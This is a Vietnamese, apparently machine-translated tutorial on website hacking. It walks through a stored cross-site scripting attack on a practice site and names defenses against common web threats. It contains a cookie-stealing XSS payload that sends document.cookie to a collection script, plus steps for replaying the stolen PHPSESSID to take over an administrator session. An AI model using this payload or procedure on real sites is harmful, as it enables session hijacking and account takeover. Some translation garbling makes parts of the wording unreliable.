Làm thế nào để tấn công một trang web? Các kỹ thuật tấn công trang web
⚡ Tóm tắt thông minh
Tấn công website khai thác các điểm yếu trong ứng dụng web — mã lập trình kém, dữ liệu đầu vào không được kiểm tra kỹ lưỡng và xử lý phiên yếu — để giành quyền truy cập trái phép. Trang này trình bày các kỹ thuật tấn công phổ biến và, quan trọng hơn, các biện pháp đối phó giúp bảo mật website.

Nhiều người có quyền truy cập internet hơn bao giờ hết. Điều này đã thúc đẩy nhiều tổ chức phát triển các ứng dụng dựa trên web mà người dùng có thể sử dụng trực tuyến để tương tác với tổ chức. Mã được viết kém cho các ứng dụng web có thể bị khai thác để truy cập trái phép vào dữ liệu nhạy cảm và máy chủ web.
Bạn sẽ học được các kỹ thuật tấn công website phổ biến và các biện pháp đối phó để bảo vệ chống lại các cuộc tấn công đó.
Cách hack một trang web
Trong kịch bản thực tế về việc hack trang web này, chúng tôi sẽ chiếm quyền điều khiển phiên người dùng của ứng dụng web có tại www.techpanda.orgChúng tôi sẽ sử dụng tấn công kịch bản chéo trang (cross-site scripting) để đọc ID phiên cookie, sau đó sử dụng nó để mạo danh một phiên người dùng hợp lệ.
Giả định được đưa ra là kẻ tấn công có quyền truy cập vào ứng dụng web và muốn chiếm đoạt phiên làm việc của những người dùng khác sử dụng cùng ứng dụng đó. Mục tiêu của cuộc tấn công này có thể là giành quyền quản trị ứng dụng web, giả sử tài khoản của kẻ tấn công là tài khoản có quyền hạn hạn chế.
Bước 1) Mở URL http://www.techpanda.org/.
Để thực hành, chúng tôi đặc biệt khuyến khích bạn thử tấn công bằng phương pháp SQL Injection. Tham khảo thêm thông tin tại... Bài viết này nói về tấn công SQL Injection. để biết thêm thông tin về cách thực hiện điều đó.
Bước 2) Nhập thông tin đăng nhập.
Địa chỉ email đăng nhập là admin@google.com, và mật khẩu là Password2010.
Bước 3) Kiểm tra bảng điều khiển.
Nếu bạn đăng nhập thành công, bạn sẽ thấy bảng điều khiển sau.
Bước 4) Nhập nội dung mới.
Nhấp vào Thêm liên hệ mới và nhập thông tin sau vào phần Tên:
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Bước 5) Thêm JavaKịch bản.
Đoạn mã trên sử dụng JavaĐoạn mã này thêm một siêu liên kết với sự kiện `onclick`. Khi người dùng vô tình nhấp vào liên kết, sự kiện sẽ truy xuất thông tin cần thiết. ID phiên cookie PHP và gửi nó đến trang snatch_sess_id.php cùng với ID phiên trong URL.
Bước 6) Thêm chi tiết.
Nhập các thông tin còn lại như hình bên dưới và nhấn vào Lưu thay đổi.
Bước 7) Kiểm tra bảng điều khiển.
Trang tổng quan của bạn giờ sẽ trông giống như hình ảnh bên dưới.
Bước 8) Kiểm tra ID phiên.
Vì mã độc tấn công chéo trang (CSScript) được lưu trữ trong cơ sở dữ liệu, nên nó sẽ được tải mỗi khi người dùng có quyền truy cập đăng nhập. Khi quản trị viên đăng nhập và nhấp vào liên kết có nội dung "Dark", họ sẽ nhận được một cửa sổ hiển thị ID phiên. URL.
Lưu ý: tập lệnh có thể gửi giá trị đến máy chủ từ xa nơi lưu trữ PHPSESSID, sau đó chuyển hướng người dùng trở lại như thể không có chuyện gì xảy ra.
Lưu ý: Giá trị bạn nhận được có thể khác với giá trị hiển thị ở đây, nhưng nguyên lý thì vẫn giống nhau.
Phiên mạo danh sử dụng Firefox và tiện ích bổ sung Dữ liệu giả mạo
Lưu ý: tiện ích bổ sung Tamper Data cổ điển được hiển thị bên dưới không còn cài đặt được trên các thiết bị hiện tại. FirefoxNhưng khái niệm mà nó minh họa — chặn và sửa đổi yêu cầu HTTP để phát lại phiên đã được ghi lại — vẫn không thay đổi.
Sơ đồ dưới đây cho thấy các bước bạn phải thực hiện để hoàn thành bài tập này.
- Bạn sẽ cần Firefox Trình duyệt web cho phần này và tiện ích bổ sung Tamper Data.
- Mở Firefox và cài đặt tiện ích bổ sung như được minh họa trong các sơ đồ bên dưới.
- Tìm kiếm dữ liệu chống giả mạo, sau đó nhấp vào cài đặt như hình trên.
- Nhấp vào Chấp nhận và cài đặt…
- Nhấp vào "Khởi động lại ngay" khi quá trình cài đặt hoàn tất.
- Kích hoạt thanh menu trong Firefox Nếu nó không được hiển thị.
- Nhấp vào menu Công cụ, sau đó chọn Sửa lỗi dữ liệu như hình bên dưới.
- Bạn sẽ thấy cửa sổ sau. Lưu ý: Nếu cửa sổ không trống, hãy nhấn nút xóa.
- Nhấp vào menu Bắt đầu can thiệp.
- Chuyển trở lại Firefox Trên trình duyệt web, nhập http://www.techpanda.org/dashboard.php, sau đó nhấn phím Enter để tải trang.
- Bạn sẽ nhận được thông báo bật lên sau từ Tamper Data.
- Cửa sổ bật lên có ba (3) tùy chọn. Tùy chọn Tamper cho phép bạn sửa đổi thông tin tiêu đề HTTP trước khi nó được gửi đến máy chủ.
- Nhấn vào nó.
- Bạn sẽ nhận được cửa sổ sau.
- Sao chép ID phiên PHP mà bạn đã sao chép từ cuộc tấn công. URL và dán nó sau dấu bằng. Giá trị của bạn bây giờ sẽ trông như thế này.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Bấm vào nút OK.
- Cửa sổ bật lên "Dữ liệu bị can thiệp" sẽ lại hiện ra.
- Bỏ chọn hộp kiểm có nội dung hỏi Tiếp tục can thiệp?
- Khi hoàn tất, hãy nhấn nút gửi.
- Bạn sẽ thấy bảng điều khiển như hình bên dưới.
Lưu ý: chúng tôi không đăng nhập; chúng tôi đã giả mạo phiên đăng nhập bằng cách sử dụng giá trị PHPSESSID mà chúng tôi thu được thông qua tấn công kịch bản chéo trang (cross-site scripting).
Ứng dụng web là gì? Các mối đe dọa web là gì?
Ứng dụng web (hay còn gọi là trang web) là một ứng dụng dựa trên mô hình client-server. Máy chủ cung cấp quyền truy cập cơ sở dữ liệu và logic nghiệp vụ. Nó được lưu trữ trên một máy chủ web. Ứng dụng khách chạy trên trình duyệt web của khách hàng. Các ứng dụng web thường được viết bằng các ngôn ngữ như JavaC#, VB.Net, PHPvà ngôn ngữ đánh dấu ColdFusion, v.v. Các công cụ cơ sở dữ liệu được sử dụng trong các ứng dụng web bao gồm MySQL, Máy chủ MS SQL, PostgreSQL, SQLite, Vv
Kỹ thuật hack trang web hàng đầu
Hầu hết các ứng dụng web được lưu trữ trên các máy chủ công cộng. máy chủ Có thể truy cập qua Internet. Điều này khiến chúng dễ bị tấn công do khả năng truy cập dễ dàng. Sau đây là các mối đe dọa phổ biến đối với ứng dụng web.
- SQL Injection – mục tiêu của mối đe dọa này có thể là bỏ qua các thuật toán đăng nhập, phá hoại dữ liệu, v.v.
- Denial of Service Các cuộc tấn công – Mục tiêu của mối đe dọa này có thể là nhằm ngăn chặn người dùng hợp pháp truy cập vào tài nguyên.
- Tập lệnh chéo trang (XSS) – Mục tiêu của mối đe dọa này có thể là chèn mã có thể được thực thi trên trình duyệt phía máy khách.
- Ngộ độc cookie/phiên – mục tiêu của mối đe dọa này là kẻ tấn công sửa đổi cookie/dữ liệu phiên để có được quyền truy cập trái phép.
- Giả mạo biểu mẫu – mục tiêu của mối đe dọa này là sửa đổi dữ liệu biểu mẫu như giá trong các ứng dụng thương mại điện tử để kẻ tấn công có thể nhận được các mặt hàng với giá giảm.
- Code Tiêm – mục tiêu của mối đe dọa này là tiêm nhiễm mã như PHP, Python, v.v. có thể được thực thi trên máy chủ. Mã có thể cài đặt cửa hậu, tiết lộ thông tin nhạy cảm, v.v.
- làm xấu mặt – Mục tiêu của mối đe dọa này là sửa đổi trang đang hiển thị trên một trang web và chuyển hướng tất cả các yêu cầu truy cập trang đến một trang duy nhất chứa thông điệp của kẻ tấn công.
Làm cách nào để bảo vệ trang web của bạn khỏi bị hack?
Một tổ chức có thể áp dụng chính sách sau để bảo vệ mình khỏi các cuộc tấn công vào máy chủ web.
- SQL Injection – Việc làm sạch và xác thực các tham số người dùng trước khi gửi chúng đến cơ sở dữ liệu để xử lý có thể giúp giảm nguy cơ bị tấn công bằng phương pháp SQL Injection. Các công cụ cơ sở dữ liệu như MS SQL Server, MySQLv.v... hỗ trợ các tham số và câu lệnh được chuẩn bị sẵn. Chúng an toàn hơn nhiều so với các câu lệnh SQL truyền thống.
- Sự từ chối của dịch vụ tấn công – Tường lửa có thể được sử dụng để chặn lưu lượng truy cập từ các địa chỉ IP đáng ngờ nếu cuộc tấn công chỉ là một cuộc tấn công từ chối dịch vụ (DoS) đơn giản. Cấu hình mạng đúng cách và hệ thống phát hiện xâm nhập (IDS) cũng có thể giúp giảm khả năng thành công của một cuộc tấn công DoS.
- Cross-Site Scripting – Xác thực và làm sạch các tiêu đề, tham số được truyền qua URLCác tham số biểu mẫu và giá trị ẩn có thể giúp giảm thiểu các cuộc tấn công XSS.
- Ngộ độc cookie/phiên – Điều này có thể được ngăn chặn bằng cách mã hóa nội dung của cookie, đặt thời hạn cho cookie sau một khoảng thời gian nhất định và liên kết cookie với địa chỉ IP của máy khách đã được sử dụng để tạo ra chúng.
- Giả mạo biểu mẫu – Điều này có thể được ngăn chặn bằng cách xác thực và kiểm tra dữ liệu người dùng nhập vào trước khi xử lý.
- Code Tiêm – Điều này có thể được ngăn chặn bằng cách coi tất cả các tham số là dữ liệu chứ không phải mã thực thi. Việc làm sạch và xác thực có thể được sử dụng để thực hiện điều này.
- làm xấu mặt – tốt bảo mật ứng dụng web Chính sách cần đảm bảo khắc phục các lỗ hổng thường được sử dụng để truy cập máy chủ web. Điều này có thể bao gồm cấu hình phù hợp hệ điều hành, phần mềm máy chủ web và áp dụng các biện pháp bảo mật tốt nhất trong quá trình phát triển.ping Ứng dụng web.
Kiểm tra điều này: 9 tốt nhất URL Các công cụ quét để kiểm tra xem liên kết có an toàn khỏi phần mềm độc hại hay không.


















